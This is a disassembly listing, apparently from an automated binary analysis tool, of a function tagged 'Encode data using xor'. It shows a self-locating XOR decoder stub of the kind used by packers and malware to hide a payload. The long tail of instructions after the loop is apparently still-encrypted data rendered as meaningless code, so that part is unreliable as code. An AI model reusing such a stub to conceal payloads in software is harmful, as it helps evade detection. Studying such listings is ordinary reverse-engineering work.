Function at 0x8e1124
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e112a
pop ebp
sub ebp, 6
sub ebp, 0x4e1124
jmp 0x8e1188
jmp 0x8e1191
mov eax, 0x4e1124
add eax, ebp
add eax, 0x93
mov ecx, 0x62d
mov edx, 0x71e01168
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e11a8
jmp 0x8e11bb
add ch, byte [eax]
add byte [eax + 0x78], ch
push 0xa4680068
add byte [eax - 0x5c], ch
inc esp
push 0x6afd98e9
mov eax, dword [0xfd98e91e]
push 0xffffffffffffffa1
push ds
pop ebx
test al, 0x38
xchg edi, eax
std
push esp
cmp dword [eax + ebp*2], ebp
cmp bl, ah
movsd dword es:[edi], dword [esi]
jecxz 0x8e11c2
push esp
push 0xa9e96868
nop
push 0xa56b6868
shr byte [esi + 0x68], 1
push 0x6840d268
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0x38ad6b68
add byte [esi + 0x5f], dh
popal
push 0x2cb26c00
push 0x4c4469
push 0x80686868
insd dword es:[edi], dx
push 0x40816868
push 0x3c3d6868
xor eax, 0x6860ede3
push 0x64fde368
push 0xe5e36868
js 0x8e129b
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
xor eax, 0xe36864aa
in al, 0x4c
insb byte es:[edi], dx
push 0x76006868
pop edi
popal
push 0x2cb26c00
push 0x394c4469
sub byte [ebp + 0x68], 0x68
push 0x686a2981
push 0x29816868
push 0x68
push 0x4c04e53d
push 0x97641d97
sbb eax, 0x681a8060
push 0x60d5e368
push 0x99e96868
pop esp
fbld tbyte [eax + edi - 0x17]
cdq
pop esp
fbld tbyte [eax + edi + 0x5b]
mov eax, dword [0x80ebba5b]
insd dword es:[edi], dx
and byte [edi - 0x14], ah
push 0xe0676868
and byte [eax + 0x68], ch
push 0x5174e30e
push 0x74e30e68
push ecx
call 0xecf59339
jb 0x8e1310
push 0x8193e868
in al, dx
jns 0x8e1319
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
jge 0x8e1324
push 0xa4812968
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
imul ebp, ebx, 0x80eb6da9
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0x8e125f
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0x8e1368
jmp 0x68f67cad
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0x8e12d4
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e12d4
mov edx, 0x97b0eb67
jmp 0x8e12cd
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e12e7
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0x8e12fc
jmp 0x8e1332
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e12fc
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e130f
jmp 0x8e1387
jnp 0x8e12ff
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e131e
jnp 0x8e130e
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e132d
jnp 0x8e131d
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e133c
jnp 0x8e132c
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e1369
jnp 0x8e1359
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e1378
ljmp 0xab43:0x979797b6